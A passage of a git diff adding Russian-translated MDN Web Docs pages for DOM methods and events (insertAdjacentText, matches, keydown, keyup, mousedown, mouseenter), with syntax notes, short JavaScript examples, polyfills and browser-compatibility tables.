diff --git a/files/ru/web/api/element/insertadjacenttext/index.html b/files/ru/web/api/element/insertadjacenttext/index.html
new file mode 100644
index 0000000000..fa75df2851
--- /dev/null
+++ b/files/ru/web/api/element/insertadjacenttext/index.html
@@ -0,0 +1,118 @@
+---
+title: Element.insertAdjacentText()
+slug: Web/API/Element/insertAdjacentText
+translation_of: Web/API/Element/insertAdjacentText
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <strong><code>insertAdjacentText()</code></strong> <span id="result_box" lang="ru"><span>метод помещает заданный текстовый узел в указанную позицию относительно элемента, который передан в вызове</span></span> метода.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>element</em>.insertAdjacentText(<em>position</em>, <em>element</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>position</code></dt>
+ <dd>{{domxref("DOMString")}} позиция для вставки текста относительно элемента  <code>element</code>; должна быть указана в следующем виде:
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: Перед самим <code>element</code>.</li>
+  <li><code style="color: green;">'afterbegin'</code>: Внутри самого <code>element</code>, перед первым child.</li>
+  <li><code style="color: blue;">'beforeend'</code>: Внутри самого <code>element</code>, после последнего child.</li>
+  <li><code style="color: magenta;">'afterend'</code>: После самого <code>element</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>element</code></dt>
+ <dd>{{domxref("DOMString")}} текст, который будет помещен в заданную позицию.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Explanation</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>Указанная <code>position</code> не может быть распознана.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Наглядное_отображение_параметра_position">Наглядное отображение параметра position</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Примечание:</strong> значения <code>beforebegin</code> и <code>afterend</code> работают только если targetElement находится в DOM-дереве и имеет родительский элемент.</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">beforeBtn.addEventListener('click', function() {
+  para.insertAdjacentText('afterbegin',textInput.value);
+});
+
+afterBtn.addEventListener('click', function() {
+  para.insertAdjacentText('beforeend',textInput.value);
+});</pre>
+
+<p>Посмотрите пример <a href="https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentText.html">insertAdjacentText.html</a> на GitHub (исходный код <a href="https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentText.html">source code</a>.)  Вы можете ввести любой текст в поле формы, а затем нажать кнопки <em>Insert before</em> (вставить до) и <em>Insert after</em> (вставить после) для размещения этого текста до или после существующего абзаца, используя <code>insertAdjacentText()</code>. Обратите внимание, что существующий текстовой узел не изменился, а произошло добавление новых текстовых узлов.</p>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Можно создать polyfill для insertAdjacentText<code>() method</code> который будет работать в Internet Explorer 5.5 (возможно и в более ранних версиях) и последующих версиях, с помощью данного кода:</p>
+
+<pre>if (!Element.prototype.insertAdjacentText)
+  Element.prototype.insertAdjacentText = function(type, txt){
+    this.insertAdjacentHTML(
+      type,
+      (txt+'') // convert to string
+        .replace(/&amp;/g, '&amp;amp;') // embed ampersand symbols
+        .replace(/&lt;/g, '&amp;lt;') // embed greater than symbols
+    )
+  }
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-insertadjacenttext', 'insertAdjacentText()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.insertAdjacentText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/keydown_event/index.html b/files/ru/web/api/element/keydown_event/index.html
new file mode 100644
index 0000000000..99dffec68a
--- /dev/null
+++ b/files/ru/web/api/element/keydown_event/index.html
@@ -0,0 +1,91 @@
+---
+title: keydown
+slug: Web/API/Element/keydown_event
+translation_of: Web/API/Element/keydown_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>keydown</code></strong> срабатывает, когда клавиша была нажата.</p>
+
+<p>В отличии от события {{Event("keypress")}}, событие keydown срабатывает на всех клавишах, независимо от того, есть ли у них значение.</p>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Cancelable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("KeyboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Event handler property</th>
+   <td>{{domxref("GlobalEventHandlers.onkeydown", "onkeydown")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>События <code>keydown</code> и <code><a href="/en-US/docs/Web/API/Element/keyup_event">keyup</a></code> показывают то, что клавиша была нажата, в то время как <code>keypress</code> показывает то, какой символ был введён. Например, прописную "a" <code>keydown</code> и <code>keyup</code> сообщат как 65, а <code>keypress</code> сообщит как 97. Заглавную же "A" все события сообщают как 65.</p>
+
+<p>События клавиатуры генерируются только в <code>&lt;inputs&gt;</code>, <code>&lt;textarea&gt;</code> и любых элементах с аттрибутом <code>contentEditable</code> или <code>tabindex="-1"</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Примеры_addEventListener_keydown">Примеры addEventListener keydown</h3>
+
+<p>Этот пример отображает значение <a href="https://developer.mozilla.org/ru/docs/Web/API/KeyboardEvent/code" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>KeyboardEvent.code</code></a> всякий раз, когда вы нажимаете клавишу внутри <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/input" title="Элемент HTML &lt;input> используется для создания интерактивных элементов управления в веб-формах для принятия данных от пользователя; в зависимости от устройства и user agent, доступен широкий выбор типов входных данных и виджетов управления."><code>&lt;input&gt;</code></a> элемента.</p>
+
+<pre class="brush: html">&lt;input placeholder="Кликните здесь, затем нажмите клавишу." size="40"&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keydown', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</pre>
+
+<p>{{EmbedLiveSample("addEventListener_keydown_example")}}</p>
+
+<h3 id="Аналог_onkeydown">Аналог onkeydown</h3>
+
+<pre class="brush: js">input.onkeydown = logKey;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("UI Events", "#event-type-keydown")}}</td>
+   <td>{{Spec2("UI Events")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.keydown_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keypress_event">keypress</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keyup_event">keyup</a></code></li>
+ <li><a href="/en-US/docs/Web/API/Document/keydown_event">Document <code>keydown</code> event</a></li>
+</ul>
diff --git a/files/ru/web/api/element/keyup_event/index.html b/files/ru/web/api/element/keyup_event/index.html
new file mode 100644
index 0000000000..981fcbc7d5
--- /dev/null
+++ b/files/ru/web/api/element/keyup_event/index.html
@@ -0,0 +1,87 @@
+---
+title: keyup
+slug: Web/API/Element/keyup_event
+translation_of: Web/API/Element/keyup_event
+---
+<div>{{APIRef}}</div>
+
+<p>Событие <strong><code>keyup</code></strong> срабатывает, когда клавиша была отпущена.</p>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Cancelable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{domxref("KeyboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Event handler property</th>
+   <td>{{domxref("GlobalEventHandlers.onkeyup", "onkeyup")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>События <code><a href="/en-US/docs/Web/API/Element/keydown_event">keydown</a></code> и <code>keyup</code> показывают то, что клавиша была нажата, в то время как <code>keypress</code> показывает то, какой символ был введён. Например, прописную "a" <code>keydown</code> и <code>keyup</code> сообщат как 65, а <code>keypress</code> сообщит как 97. Заглавную же "A" все события сообщают как 65.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Примеры_addEventListener_keyup">Примеры addEventListener keyup</h3>
+
+<p>Этот пример отображает значение {{domxref("KeyboardEvent.code")}} всякий раз, когда вы отпускаете клавишу внутри {{HtmlElement("input")}} элемента.</p>
+
+<pre class="brush: html">&lt;input placeholder="Кликните здесь, затем нажмите и отпустите клавишу." size="40"&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keyup', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</pre>
+
+<p>{{EmbedLiveSample("addEventListener_keyup_example")}}</p>
+
+<h3 id="Аналог_onkeyup">Аналог onkeyup</h3>
+
+<pre class="brush: js">input.onkeyup = logKey;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("UI Events", "#event-type-keyup")}}</td>
+   <td>{{Spec2("UI Events")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.keyup_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keydown_event">keydown</a></code></li>
+ <li><code><a href="/en-US/docs/Web/API/Element/keypress_event">keypress</a></code></li>
+ <li><a href="/en-US/docs/Web/API/Document/keyup_event">Document <code>keyup</code> event</a></li>
+</ul>
diff --git a/files/ru/web/api/element/matches/index.html b/files/ru/web/api/element/matches/index.html
new file mode 100644
index 0000000000..a8fe49cccb
--- /dev/null
+++ b/files/ru/web/api/element/matches/index.html
@@ -0,0 +1,157 @@
+---
+title: Element.matches()
+slug: Web/API/Element/matches
+translation_of: Web/API/Element/matches
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Метод <strong><code>Element.matches()</code></strong> вернёт <code>true</code> или false, в зависимости от того, соответствует ли элемент указанному css-селектору.</p>
+
+<div class="warning">
+<p>В некоторых браузерах данный метод имеет нестандартное название - <code>matchesSelector()</code>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var result</em> = <em>element</em>.matches(selectorString)
+</pre>
+
+<ul>
+ <li><code>Результат выполнения - <strong>true</strong> или <strong>false</strong>.</code></li>
+ <li><strong><code>selectorString</code></strong> - строка, содержащая любой css-селектор, к примеру:<em> <strong>"div"</strong></em>,<em> <strong>"*"</strong></em>,<em> <strong>"#id"</strong></em> и прочие.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;div id="one"&gt;Первый подопытный&lt;/div&gt;
+&lt;div class="someClass" id="two"&gt;Второй подопытный&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+
+  var coll = document.querySelectorAll("div");
+  for (var i = 0, len = coll.length; i &lt; len; i++) {
+    if (coll[i].matches(".someClass")) {
+      alert(coll[i].id+": Я выжил!");
+    }else{
+      coll[i].remove();
+    }
+  }
+
+&lt;/script&gt;
+</pre>
+
+<p>Вызов alert сработает только для второго элемента div, которому присвоен класс "someClass".</p>
+
+<h2 id="Исключения">Исключения</h2>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Указаный css-селектор не является допустимым<em> ("/=22=1", "&amp;@*#", "%%''23" и т.п приведут к ошибке).</em></dd>
+</dl>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Полифил будет работать только в браузерах, поддерживающих метод document.queryselectorAll.</p>
+
+<pre class="brush: js">;(function(e) {
+    var matches = e.matches || e.matchesSelector || e.webkitMatchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector;
+    !matches ? (e.matches = e.matchesSelector = function matches(selector) {
+        var matches = document.querySelectorAll(selector);
+        var th = this;
+        return Array.prototype.some.call(matches, function(e) {
+            return e === th;
+        });
+    }) : (e.matches = e.matchesSelector = matches);
+})(Element.prototype);</pre>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-matches', 'Element.prototype.matches')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Поддерживается , но имеет иное название</td>
+   <td>
+    <p>{{CompatVersionUnknown}} имеет название  <code>webkitMatchesSelector</code></p>
+   </td>
+   <td>{{CompatGeckoDesktop("1.9.2")}} имеет название   <code>mozMatchesSelector</code> [1]</td>
+   <td>9.0 имеет название <code>msMatchesSelector</code></td>
+   <td>11.5 имеет название  <code>oMatchesSelector</code>,<br>
+    а с 15.0 - <code>webkitMatchesSelector</code></td>
+   <td>5.0 известен под названием <code>webkitMatchesSelector</code></td>
+  </tr>
+  <tr>
+   <td>Unprefix version</td>
+   <td>{{CompatChrome("34")}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Поддерживается , но имеет иное название</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}} имеет название <code>mozMatchesSelector</code> [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Unprefix version</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> До появления Gecko 2.0 вызов с недопустимым селектором возвращал  <code>false</code>, а не вызывал исключение...</p>
diff --git a/files/ru/web/api/element/mousedown_event/index.html b/files/ru/web/api/element/mousedown_event/index.html
new file mode 100644
index 0000000000..e11f5da566
--- /dev/null
+++ b/files/ru/web/api/element/mousedown_event/index.html
@@ -0,0 +1,147 @@
+---
+title: mousedown
+slug: Web/API/Element/mousedown_event
+translation_of: Web/API/Element/mousedown_event
+---
+<p>Событие <code>mousedown</code> срабатывает, когда кнопка указывающего устройства (к примеру, мыши) нажата над элементом.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("MouseEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывающее</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Элемент</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Различное: инициация перетаскивания, выделения текста, прокрутки или масштабирования (в сочетании с нажатием колеса при поддержке такового)</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>A count of consecutive clicks that happened in a short amount of time, incremented by one.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The node that had the event listener attached.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("mousedown")}}</li>
+ <li>{{event("mouseup")}}</li>
+ <li>{{event("mousemove")}}</li>
+ <li>{{event("click")}}</li>
+ <li>{{event("dblclick")}}</li>
+ <li>{{event("mouseover")}}</li>
+ <li>{{event("mouseout")}}</li>
+ <li>{{event("mouseenter")}}</li>
+ <li>{{event("mouseleave")}}</li>
+ <li>{{event("contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html
new file mode 100644
index 0000000000..075e92ec64
--- /dev/null
+++ b/files/ru/web/api/element/mouseenter_event/index.html
@@ -0,0 +1,148 @@
+---
+title: 'Element: mouseenter event'
+slug: Web/API/Element/mouseenter_event
+translation_of: Web/API/Element/mouseenter_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">Событие <strong><code>mouseenter</code></strong> вызывается в {{domxref("Element")}} </span><span class="tlid-translation translation" lang="ru"><span title="">когда указательное устройство (обычно мышь) изначально перемещается так, что его горячая точка находится в пределах элемента, в котором было запущено событие.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплывающее</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика события</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseenter", "onmouseenter")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Заметки_по_использованию">Заметки по использованию</h2>
+
+<p>Хотя <code>mouseenter</code> похоже на {{domxref("Element/mouseover_event", "mouseover")}}, <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отличается тем, что он не является </span></span><a href="/ru/docs/Web/API/Event/bubbles">bubble</a> <span class="tlid-translation translation" lang="ru"><span title="">и не отправляется никаким потомкам, когда указатель перемещается из физического пространства одного из его потомков в его собственное физическое пространство.</span></span></p>
+
+<div style="column-width: 455px; border: 1px solid; padding: 5px; margin-bottom: 10px;">
+<div style="text-align: center;"><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5908/=mouseenter.png"></div>
+<span class="tlid-translation translation" lang="ru"><span title="">Одно событие </span></span> <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется каждому элементу иерархии при их вводе.</span> <span title="">Здесь 4 события отправляются четырем элементам иерархии, когда указатель достигает текста.</span></span>
+
+<div style="text-align: center;"><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5909/=mouseover.png"></div>
+<span class="tlid-translation translation" lang="ru"><span title="">Одиночное событие наведения мыши</span></span> <code>mouseover</code> <span class="tlid-translation translation" lang="ru"><span title="">отправляется в самый глубокий элемент дерева DOM, затем оно всплывает в иерархии, пока не будет отменено обработчиком или не достигнет корня.</span></span></div>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">При наличии глубокой иерархии количество отправляемых </span></span>событий <code>mouseenter</code><span class="tlid-translation translation" lang="ru"><span title=""> может быть довольно большим и вызывать значительные проблемы с производительностью.</span> <span title="">В таких случаях лучше прослушивать события </span></span><code>mouseover</code>.</p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">В сочетании с соответствующим событием</span></span> <code>mouseleave</code> (<span class="tlid-translation translation" lang="ru"><span title="">которое запускается в элементе, когда мышь покидает область содержимого</span></span>), событие <code>mouseenter</code> <span class="tlid-translation translation" lang="ru"><span title="">действует очень похоже на псевдокласс</span></span> CSS {{cssxref(':hover')}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В документации по <a href="/en-US/docs/Web/Events/mouseover#Example"><code>mouseover</code></a> есть пример илюстрирующий различия между <code>mouseover</code> и <code>mouseenter</code>.</p>
+
+<h3 id="mouseenter">mouseenter</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">В следующем тривиальном примере событие <code>mouseenter</code> используется для изменения границы элемента <code>div</code>, когда мышь входит в выделенное ему пространство.</span> <span title="">Затем он добавляет элемент в список с номером события <code>mouseenter</code> или <code>mouseleave</code>.</span></span></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div id='mouseTarget'&gt;
+ &lt;ul id="unorderedList"&gt;
+  &lt;li&gt;No events yet!&lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Стилизация <code>div</code> чтобы сделать его более заметным.</p>
+
+<pre class="brush: css notranslate">#mouseTarget {
+  box-sizing: border-box;
+  width:15rem;
+  border:1px solid #333;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">var enterEventCount = 0;
+var leaveEventCount = 0;
+const mouseTarget = document.getElementById('mouseTarget');
+const unorderedList = document.getElementById('unorderedList');
+
+mouseTarget.addEventListener('mouseenter', e =&gt; {
+  mouseTarget.style.border = '5px dotted orange';
+  enterEventCount++;
+  addListItem('This is mouseenter event ' + enterEventCount + '.');
+});
+
+mouseTarget.addEventListener('mouseleave', e =&gt; {
+  mouseTarget.style.border = '1px solid #333';
+  leaveEventCount++;
+  addListItem('This is mouseleave event ' + leaveEventCount + '.');
+});
+
+function addListItem(text) {
+  // <span class="tlid-translation translation" lang="ru"><span title="">Создать новый текстовый узел, используя предоставленный текст</span></span>
+  var newTextNode = document.createTextNode(text);
+
+  // <span class="tlid-translation translation" lang="ru"><span title="">Создать новый элемент li</span></span>
+  var newListItem = document.createElement("li");
+
+  // Добавить текстовый узел к элементу li
+  newListItem.appendChild(newTextNode);
+
+  // Добавить вновь созданный элемент списка в список
+  unorderedList.appendChild(newListItem);
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('mouseenter')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseenter', 'mouseenter')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseenter', 'mouseenter')}}</td>
